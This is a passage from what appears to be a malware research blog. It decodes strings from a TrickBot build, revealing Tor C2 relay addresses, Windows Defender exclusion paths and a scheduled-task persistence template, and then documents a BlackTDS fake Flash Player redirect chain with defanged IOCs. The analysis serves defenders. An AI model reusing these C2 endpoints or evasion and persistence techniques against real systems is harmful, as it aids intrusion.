s6W14IfEbeA2MVHxQB s6W14IfEbeAt4Vd64V3uzq+wN+ s6W14IfEbe+E s6W14IfEbeAt4Vd64V3uzq+wNrAazu s6W14IfEbe+v s6W14IfEbeAt4Vd64V3uzq+Yzu s6W14IfEbe+viqL s6W14IfEbeAt4Vd64V3uzq+YzhAazu s6W14IfEbe+Yz+ s6W14IfEbe+YzrAt4Vd64V3 t2fFM2YkQaZ/iq+uKom5Dy8jmEzutWBuzt+1zPkus6W1HqBS3lu6HrUuBVAwDIsV42diMVBjHtzEiqz63r0iao8HtrwuDIWc4aAl42HcDeUuB60eD6/WiRQwiq+1zRLYzhvYztzuT6oyQVd5iRTRHevRHu blHemu bIY/46W1bw 4V0wMV3 b6semyHjDyQ d2BW4rsUiu t2fUm2YW3Iokbys04lUum27kD6oU42B B6f1mldjDrAyQ2Wk42B t2fUm2YW3lm0beA/DyYjQ28W4+ TldjQ6sRbeAnQVzuQysWDhAyM275b60W4+ bysk42oR4B TE80bCBu4yo5DIsU TldjQ6sRbeAEQVzum27kD6oU42B 86sxTIoe427xa27yDeAWbCdjbu s270QyYW3l8j3IYjQ2BuD2fUm2YW3I4eD6xub6semyse bE80bCB 8IsqD68W3I4eD6xuBUot8tQx3Isebyfe s6W1zR3u4VdeDE3 a276Q2Y54rAwQVd0DVzuQ6f/DCB tyZubIoeQ2/R M27yDw 4IoxQB dVzjdVzjHqBjdVzjdVzjdVzj Dyf1Q2/W dVzjdVzjHqzjdVzjdVzjdVzjdVzj iesRiesRiR3/iesRiw iesRiesRiR3RiesUiw iesRiesRiRLxiesRiesRiR+j iesRiesRiRLwiesRiesRiesUiw iesRiesRiRTjdVzj iesRiesRiRLjdVzj iesRiesRiR+jdVzjdVzjdVzjdVzjdVzj bEd6 QE8k DyoX4B D2fUm2YW tVHtGVHx42/VQV8qMIse dVz1dVz1dVz1dVz dVz1dVz dsUXd2xXd28TdTuFdTxFdsz 9rfsb6sea2BO 9osR4Vdd4Pv 9LYj46f1slWw4t7dDC8WbyoqmIW64s8jM6s19rfzD6mjDW87bITOrqYam27z4V4WDP7z42oRmoAeMV45DIsC4twjTCs1tIs642wO 9od/DUYWmysk9U05460WbE8Amyo5DIohDITZi/d/DUYWmysk9unZ8EdjmVAd4P7NsrAAss83t/ddsoWbT/WtsLsH9rflbyf/bLWU9unZtIfCD67TGVAW9UW1mIseQ2HxMV4WsIfc42vZixYj46f1slWw4tvK 9rfrD6fxsld546mWbqvK 9LdjDE8TbyWC46se9unZ8270QyYW4P7xbCsW9rfoDyohDIsU9un 9rfPD6/XQ27U9unZixsv42zOrqwjB2HxM2f1bRvK9rfTQVHc9un 9rfBbyW1Q6WwQ2wOrqwjTld5DyH5bIokbRvK9oHWml85DymR9unZtVskmIWwDIsdDCHxQ27q4VHBD6Y5QEUOa2m1DEdWtysE9rfHm2YxMVAk4TW1bE80DyHWb/AjDIWqGtvK9L85b6okDIfETE80bC8d4Uf1ByoxmIseM2sR9y40DlHW9rfLMVH0DIYjm/HxQVdxa249DUd0ml8WbyWWbRvK9oHxDEAd4UmjM27Ct67rQV8x4Vd54VzO4yokb6TZi/HxDEAd4UmjM27Ct67rQV8x4Vd54VzOrqYADIYjmx00by8T4VdXM270mITO4yokb6TZixokDIfEaIoe4o8Wby/5Dyox4tvK9oHxQVdxs60WDUo6Q2WkQ2dk4t7xbCsW9rftmIoemomn427Amyo5DIohDITOrqYam279DyY7a24N4V8EDEdcBV40M2Y0QyYW9y40DlHW9rfam279DyY7a24N4V8EDEdcBV40M2Y0QyYW9unZa28k4sHWml85DymR9unZTE8jbLf1a28k4Ts14P7xbCsW9rftmIfwt67d4IYW827U9unZTysRmIoemLf1a28k4t7yQ2YR4twjTysRmIoemLf1a28k4tvK9rfd4IYWT6sxmIW14EzOrqYADIYjm/HxQVdxt67L42/0DyBOmld/4twjB2YkDEmtmIoemLf18IsXQ27U9unZ8270QyYW4P7xbCsW9rfoDyohDIsU9unZaIWU4Is19C8em2TZix054I8WDqvK9od/DUf1DlWd4UWUDITO4yokb6TZi/d/DUf1DlWd4UWUDITOrqYVQ2XWsIfam2vO4yokb6TZi/m0M6sTD/d/DqvK9Lsv42H/mIWjDW85D2szM2/5mP7BsPAt9rfoGIsqmV85D67TM2/WtIWXMVBOrqYBbyWjbyWxGtvE9rfBbyWjbyWxGtvK9rft4V8xM27CbRvK9LoqmIWjDCzuB6f1mIsvmPxhBVsxMIfe3qvK9Lsv42zOrqYPD6/XQ27U9u 9rftmIoemLdjm27UQVd79unZ8270QyYW4P7xbCsW9rfoDyohDIsU9unZT6Hn428/DIsrGT80GtvK9L80GVHdDC8WbC40DPvY9rfLQVWRa27x4Vd6Q2wOrqwjT6Hn428/DIsrGT80GtvK9rfPQ2YWDy80bW8eM2mC4V3Orqwjsld546mWbCzOrqYBbyW1Q6WwQ2YR9unZTld5DyH5bIok3IWU9adAmV8nDE3h9un 9LH0DIs14Ioesld546mWbqvK9odWbIsxMV85D6vOrqYdDC8WbC40DP7BsPLwttwja27x4Vd6Q2wOrqYLmVd0mIWjDq7BzTBZix8/byoxM2f19unZTE8jbLox8lseQV85D67oDyBO4yokb6TZi/HxDEAAmL8/byoxM2f1827U9unZi/dWbIsxMV85D6vOrqYtmIoemLdjm27UQVd79u 9PfvD2wumyseb6WjDqxhzavw3hAWDyHj4IW14Rxhss8IitL63qZOrqYTQVHc3l4WbCH5D6vf3qL1zh3KGI/kDCzf3y0xml+FiefRQ60WD2oRiy/5QEdjb6fymr7qD6xjm6W14IfEbeZezP+xiR+ei6/5mrfxQVHc3qvK9odW46WRmld0mIWjDUW14yZOrqY24VdRM2f19qL1zrvY9rf24VdRM2f19unZ8IsRQEd5bl85D6vOtVzuTEWRmIsX3lm0mIHn4V3Zix8Wb6HeMVAxM2f19unZssdd9qwjssdd9unZi/dW46WRmld0mIWjDUW14yZOrqYTbyWC46sebRvK T/WtsLsH dVzub/80bCB 4EdjmVApmIoC TUst mVHWbu Q6f14yWCiyHjDyQ iC8Xb+ mI/w bEAc dVzudVz TxWNau Dyfx3IY5bE8W4+ DIWRmIsU 8L7tBUw Q6Y5427x3IWR3I7jmrAh4205DyButUoT Q6Y5427x3IWR3IdWMIW14rANBsB 4yo5DIsU'
key = '+ArPLoIl3dKizHN9B8atTs2VQ4MDbmGpu0hqUWyCn5gckX1jwYeRx/6Ev7FSZfOJ'
std_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

for s in data.split(' '):
s = s.translate(str.maketrans(key,std_b64))
if len(s)%4 != 0:
s += '='*(4 - len(s)%4)
print(base64.b64decode(s))

The output is as follows:

b'UnloadUserProfile'
b'LoadUserProfileW'
b'DestroyEnvironmentBlock'
b'CreateEnvironmentBlock'
b'USERENV.dll'
b'GetAdaptersInfo'
b'IPHLPAPI.dll'
b'NtQueryInformationProcess'
b'ntdll.dll'
b'PathFindExtensionW'
b'PathRemoveFileSpecW'
b'PathRemoveBackslashW'
b'StrStrIW'
b'PathRenameExtensionW'
b'PathAddBackslashW'
b'PathFindFileNameW'
b'SHLWAPI.dll'
b'CryptBinaryToStringW'
b'CryptStringToBinaryW'
b'CRYPT32.dll'
b'CoUninitialize'
b'CoCreateInstance'
b'ole32.dll'
b'SetSecurityDescriptorDacl'
b'InitializeSecurityDescriptor'
b'CopySid'
b'GetLengthSid'
b'SetEntriesInAclW'
b'GetSecurityInfo'
b'SetSecurityInfo'
b'SetNamedSecurityInfoW'
b'RegSetValueExW'
b'RegOpenKeyExW'
b'RegCloseKey'
b'RegCreateKeyExW'
b'RevertToSelf'
b'AdjustTokenPrivileges'
b'LookupPrivilegeValueW'
b'CryptGetHashParam'
b'CryptAcquireContextW'
b'CryptSetKeyParam'
b'CryptReleaseContext'
b'ConvertStringSecurityDescriptorToSecurityDescriptorW'
b'CryptImportKey'
b'CryptCreateHash'
b'CryptDecrypt'
b'CryptDestroyHash'
b'CryptHashData'
b'CryptDestroyKey'
b'AllocateAndInitializeSid'
b'FreeSid'
b'OpenProcessToken'
b'EqualSid'
b'CreateProcessAsUserW'
b'DuplicateTokenEx'
b'LookupAccountSidW'
b'GetTokenInformation'
b'GetUserNameW'
b'ADVAPI32.dll'
b'CreateToolhelp32Snapshot'
b'Process32NextW'
b'Process32FirstW'
b'MultiByteToWideChar'
b'WideCharToMultiByte'
b'GetModuleHandleA'
b'QueryPerformanceCounter'
b'GetCurrentThreadId'
b'SetUnhandledExceptionFilter'
b'UnhandledExceptionFilter'
b'lstrlenA'
b'GetCurrentProcessId'
b'GetSystemTimeAsFileTime'
b'GetCurrentProcess'
b'GetVersionExW'
b'GetVersion'
b'SetFilePointer'
b'WriteFile'
b'ReadFile'
b'CreateFileW'
b'lstrcmpiW'
b'GetTempFileNameW'
b'CreateProcessW'
b'MoveFileExW'
b'GetTickCount'
b'InitializeCriticalSectionAndSpinCount'
b'Sleep'
b'GetFileAttributesW'
b'GetModuleFileNameW'
b'GetStartupInfoW'
b'GetTempPathW'
b'MoveFileW'
b'SetCurrentDirectoryW'
b'DeleteFileW'
b'lstrcpyW'
b'LocalFree'
b'CreateMutexW'
b'ResumeThread'
b'WriteProcessMemory'
b'DuplicateHandle'
b'CreateEventW'
b'GetExitCodeThread'
b'VirtualAllocEx'
b'VirtualProtectEx'
b'TerminateProcess'
b'ReadProcessMemory'
b'VirtualFreeEx'
b'OpenProcess'
b'CreateRemoteThread'
b'SetEvent'
b'CreateDirectoryW'
b'SetFileAttributesW'
b'lstrcmpA'
b'LoadLibraryA'
b'GetFileTime'
b'FindNextFileW'
b'GetSystemInfo'
b'LockResource'
b'FindClose'
b'GetLastError'
b'lstrcpynW'
b'SetFileTime'
b'GetModuleHandleW'
b'LoadResource'
b'FreeLibrary'
b'FindResourceW'
b'FindFirstFileW'
b'GetFullPathNameW'
b'lstrlenW'
b'lstrcmpW'
b'GetComputerNameW'
b'CreateThread'
b'/?format=text'
b'www.myexternalip.com'
b'ident.me'
b'api.ip.sb'
b'\\iocopy'
b'WantRelease'
b'fifty'
b'cmd.exe'
b'185.41.154.130:9001'
b'37.252.190.176:443'
b'82.118.17.235:443'
b'83.163.164.15:9003'
b'69.163.34.173:443'
b'159.89.151.231:9001'
b'212.47.246.229:9003'
b'84.40.112.70:9001'
b'2.137.16.245:9001'
b'199.249.223.62:443'
b'185.22.172.237:443'
b'88.99.216.194:9001'
b'185.13.39.197:443'
b'162.247.72.201:443'
b'174.127.217.73:55554'
b'Content-Length: '
b'\r\n\r\n'
b'%s %S HTTP/1.1\r\nHost: %s%s%S'
b'.onion'
b'info.dat'
b'README.md'
b'FAQ'
b'DEBG'
b'MACHINE\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths'
b'MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths'
b'MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths'
b'WinDefend'
b'Global\\%08lX%04lX%lu'
b' working'
b'path'
b'ver.txt'
b'ModuleQuery'
b'LeaveCriticalSection'
b'EnterCriticalSection'
b'InitializeCriticalSection'
b'VERS'
b'SignatureLength'
b'ECCPUBLICBLOB'
b'ECDSA_P384'
b'spam.dnsbl.sorbs.net'
b'dnsbl-1.uceprotect.net'
b'b.barracudacentral.org'
b'cbl.abuseat.org'
b'zen.spamhaus.org'
b'GetNativeSystemInfo'
b'Module is not valid'
b'client_id'
b'1041'
b'/plain/clientip'
b'/text'
b'/raw'
b'/ip'
b'/plain'
b'ip.anysrc.net'
b'wtfismyip.com'
b'myexternalip.com'
b'icanhazip.com'
b'api.ipify.org'
b'ipinfo.io'
b'ipecho.net'
b'checkip.amazonaws.com'
b'ssert'
b'D:(A;;GA;;;WD)(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;RC)'
b'Global\\Muta'
b'--%s--\r\n\r\n'
b'--%s\r\nContent-Disposition: form-data; name="%S"\r\n\r\n'
b'Content-Type: multipart/form-data; boundary=%s\r\nContent-Length: %d\r\n\r\n'
b'------Boundary%08X'
b'winsta0\\default'
b'WTSQueryUserToken'
b'WTSGetActiveConsoleSessionId'
b'WTSFreeMemory'
b'WTSEnumerateSessionsA'
b'wtsapi32'
b'GetProcAddress'
b'LoadLibraryW'
b'ExitProcess'
b'ResetEvent'
b'CloseHandle'
b'WaitForSingleObject'
b'SignalObjectAndWait'
b'svchost.exe'
b'Release'
b'FreeBuffer'
b'Control'
b'Start'
b'Load to M failed'
b'Run D failed'
b'Load to P failed'
b'Find P failed'
b'Create ZP failed'
b'Module has already been loaded'
b'parentfiles'
b'ip'
b'id'
b'period'
b'file'
b'conf'
b'arg'
b'control'
b'needinfo'
b'autocontrol'
b'autoconf'
b'processname'
b'sys'
b'yes'
b'autostart'
b'*'
b'%s%s'
b'%s%s_configs\\'
b'Modules\\'
b'HeapReAlloc'
b'HeapFree'
b'GetProcessHeap'
b'HeapAlloc'
b'kernel32.dll'
b'0.0.0.0'
b'POST'
b'GET'
b'UrlEscapeW'
b'shlwapi'
b'BCryptDestroyKey'
b'BCryptCloseAlgorithmProvider'
b'BCryptVerifySignature'
b'BCryptGetProperty'
b'BCryptImportKeyPair'
b'BCryptOpenAlgorithmProvider'
b'NCryptFreeObject'
b'NCryptDeleteKey'
b'NCryptImportKey'
b'NCryptOpenStorageProvider'
b'Bcrypt.dll'
b'Ncrypt.dll'
b'%s %s SP%d'
b'x86'
b'x64'
b'Unknown'
b'Windows 2000'
b'Windows XP'
b'Windows Server 2003'
b'Windows Vista'
b'Windows Server 2008'
b'Windows 7'
b'Windows Server 2008 R2'
b'Windows 8'
b'Windows Server 2012'
b'Windows 8.1'
b'Windows Server 2012 R2'
b'Windows 10'
b'Windows 10 Server'
b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'
b'psrv'
b'plugins'
b'expir'
b'servconf'
b'%d%d%d.'
b'Module already unloaded'
b'Control failed'
b'Module was unloaded'
b'Process has been finished'
b'release'
b'Start failed'
b'Process was unloaded'
b'GetParentInfo error'
b'Unable to load module from server'
b'start'
b'Decode from BASE64 error'
b'Win32 error'
b'Invalid params count'
b'No params'
b'info'
b'data'
b'%s/%s/64/%s/%s/%s/'
b'noname'
b'%s/%s/63/%s/%s/%s/%s/'
b'/%s/%s/25/%s/'
b'/%s/%s/23/%d/'
b'/%s/%s/14/%s/%s/0/'
b'/%s/%s/10/%s/%s/%d/'
b'/%s/%s/5/%s/'
b'/%s/%s/1/%s/'
b'/%s/%s/0/%s/%s/%s/%s/%s/'
b'srv'
b'ctl'
b'name'
b'module'
b'MsSystemWatcher'
b'%s.%s.%s.%s'
b'%s.%s'
b'%Y-%m-%dT%H:%M:%S'
b''
b''
b'InteractiveToken\nLeastPrivilege'
b'HighestAvailable\nNT AUTHORITY\\SYSTEM\nInteractiveToken\n'
b'\n'
b'\ntrue\n'
b'\n\n\n\n'
b'\n\n\nIgnoreNew\nfalse\nfalse\nfalse\ntrue\nfalse\n\ntrue\nfalse\n\ntrue\ntrue\ntrue\nfalse\nfalse\nPT0S\n7\n\n\n\n'
b'\ntrue\n\n1\n\n\n\n\n\n'
b'\n\nPT10M\nP1D\nfalse\n\n'
b'\n<Task version="1.2"\nxmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">\n\n1.0.1\nMs System watcher\n\n\n\n'
b'SYSTEM'
b'%s sTart'
b'group_tag'
b'RES'
b'user'
b'config.conf'
b'.tmp'
b'tmp'
b'spk'
b'%s %s'
b'SINJ'
b'not listed'
b'listed'
b'DNSBL'
b'client is not behind NAT'
b'client is behind NAT'
b'failed'

Analysis of Latest TrickBot Core Possible Build ‘1041’
A. Hardcoded Tor Relay List

b'185.41.154.130:9001'
b'37.252.190.176:443'
b'82.118.17.235:443'
b'83.163.164.15:9003'
b'69.163.34.173:443'
b'159.89.151.231:9001'
b'212.47.246.229:9003'
b'84.40.112.70:9001'
b'2.137.16.245:9001'
b'199.249.223.62:443'
b'185.22.172.237:443'
b'88.99.216.194:9001'
b'185.13.39.197:443'
b'162.247.72.201:443'
b'174.127.217.73:55554'

B. External IP Resolution

b'www.myexternalip.com'
b'ident.me'
b'api.ip.sb'
b'ip.anysrc.net'
b'wtfismyip.com'
b'myexternalip.com'
b'icanhazip.com'
b'api.ipify.org'
b'ipinfo.io'
b'ipecho.net'
b'checkip.amazonaws.com'

C. Task Scheduler XML Struct

b''
b''
b'InteractiveToken\nLeastPrivilege'
b'HighestAvailable\nNT AUTHORITY\\SYSTEM\nInteractiveToken\n'
b'\n'
b'\ntrue\n'
b'\n\n\n\n'
b'\n\n\nIgnoreNew\nfalse\nfalse\nfalse\ntrue\nfalse\n\ntrue\nfalse\n\ntrue\ntrue\ntrue\nfalse\nfalse\nPT0S\n7\n\n\n\n'
b'\ntrue\n\n1\n\n\n\n\n\n'
b'\n\nPT10M\nP1D\nfalse\n\n'
b'\n<Task version="1.2"\nxmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">\n\n1.0.1\nMs System watcher\n\n\n\n'

D. Bot IP Check for Spam Blocklist

b'spam.dnsbl.sorbs.net'
b'dnsbl-1.uceprotect.net'
b'b.barracudacentral.org'
b'cbl.abuseat.org'
b'zen.spamhaus.org'

Malware Traffic Internals: BlackTDS Social Engineering Drive-By Leads to Fake "Adobe Flash Player"

Goal: Review and document latest BlackTDS traffic distribution leading to fake Adobe Flash Player and its social engineering theme.

Background

https://platform.twitter.com/widgets.js Traffic chain

I. BlackTDS domain redirect hxxp://smarttraffics[.]gq:

html, body { margin: 0; padding: 0; height : 100%; }

<span style="visibility: hidden“><a href="/insert“><VALUE<a href="/register“>
II. Popunder domain redirect using inser /register with hidden visibility.
hxxp://popcash[.]net/world/go/162193/360683
III. Popunder redirect
hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
IV. Fake “Adobe Flash Player” adware redirect:
Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=

V. Fake “Adobe Flash Player” adware download:
Domain: hxxp://www.bestrepositorytours[.]com/

    Addendum: Indicators of Compromise (IOCs):
    Domain:

    • Domain: hxxp://smarttraffics[.]gq
    Popunder:

    • Domain: hxxp://popcash[.]net/world/go/162193/360683
    Popunder redirect:
    • Domain: hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
    Fake Adobe Flash Player Adware Redirect:
    • Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=
    Fake Adobe Flash Player Adware Download:
    • Domain: hxxp://www.bestrepositorytours[.]com/
    Fake Adobe Flash Player Adware:
    • MD5: 69708785506cf581ea5f81725bdb849b
    Update (April 3, 2018): Edited domain referrer to hxxp://smarttraffics[.]gq